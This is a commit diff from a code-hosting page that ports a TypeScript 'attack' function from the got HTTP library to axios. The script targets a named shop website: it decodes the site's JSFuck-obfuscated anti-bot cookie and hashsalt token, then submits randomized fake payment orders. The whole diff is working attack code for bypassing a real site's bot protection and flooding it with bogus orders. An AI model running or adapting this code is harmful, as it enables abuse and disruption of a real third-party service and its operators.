Commit eb1d2e36 authored by nanahira's avatar nanahira

axios

parent 829cdd37
......@@ -14,16 +14,14 @@ function parseJsFuck(code: string): string {
async function attack() {
console.log('Requesting loading page.');
const loadingPageResponse = await got('https://paperboxshop.top/index.php', {
http2: true,
responseType: 'text',
const loadingPage = await got('https://paperboxshop.top/index.php', {
headers: {
'User-Agent':
'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:94.0) Gecko/20100101 Firefox/94.0',
},
});
console.log(loadingPageResponse.httpVersion);
const jsFuckMatch = loadingPageResponse.body.match(
}).text();
console.log(loadingPage);
const jsFuckMatch = loadingPage.match(
/setCookie\('sec_defend', ?\(([\[\]\(\)!\+\{\}]+)\)\);setCookie/,
);
if (!jsFuckMatch) {
......@@ -34,15 +32,18 @@ async function attack() {
console.log(`sec_defend: ${sec_defend}`);
console.log('Requesting main page.');
const Cookie = `sec_defend=${sec_defend};`;
const mainPage = await got('https://paperboxshop.top/index.php', {
http2: true,
responseType: 'text',
headers: {
Cookie,
'User-Agent':
'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:94.0) Gecko/20100101 Firefox/94.0',
const { data: mainPage, headers: mainPageHeaders } = await axios.get(
'https://paperboxshop.top/index.php',
{
responseType: 'text',
httpsAgent: agent,
headers: {
Cookie,
'User-Agent':
'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:94.0) Gecko/20100101 Firefox/94.0',
},
},
}).text();
);
const hashsaltMatch = mainPage.match(/var hashsalt=([\[\]\(\)!\+\{\}]+);/);
if (!hashsaltMatch) {
console.error(`hashsalt not found.`);
......@@ -51,35 +52,36 @@ async function attack() {
const hashsalt = parseJsFuck(hashsaltMatch[1]);
console.log(`hashsalt: ${hashsalt}`);
console.log('Submitting payment.');
const payResult = await got
.post('https://paperboxshop.top/ajax.php?act=pay', {
const { data: payResult } = await axios.post<{
code: number;
msg: string;
trade_no: string;
}>(
'https://paperboxshop.top/ajax.php?act=pay',
qs.stringify({
tid: 1,
inputvalue: cryptoRandomString({ length: 12, type: 'alphanumeric' }),
num: Math.ceil(Math.random() * 10000),
hashsalt,
}),
{
responseType: 'json',
http2: true,
form: {
tid: 1,
inputvalue: cryptoRandomString({ length: 12, type: 'alphanumeric' }),
num: Math.ceil(Math.random() * 10000),
hashsalt,
},
httpsAgent: agent,
headers: {
Cookie,
'User-Agent':
'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:94.0) Gecko/20100101 Firefox/94.0',
},
})
.json<{
code: number;
msg: string;
trade_no: string;
}>();
},
);
if (payResult.code) {
console.error(`Payment failed: ${payResult.code} ${payResult.msg}`);
return;
}
await got(`https://paperboxshop.top/other/submit.php`, {
responseType: 'text',
http2: true,
searchParams: {
await axios.get(`https://paperboxshop.top/other/submit.php`, {
responseType: 'arraybuffer',
httpsAgent: agent,
params: {
type: 'alipay',
orderid: payResult.trade_no,
},
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment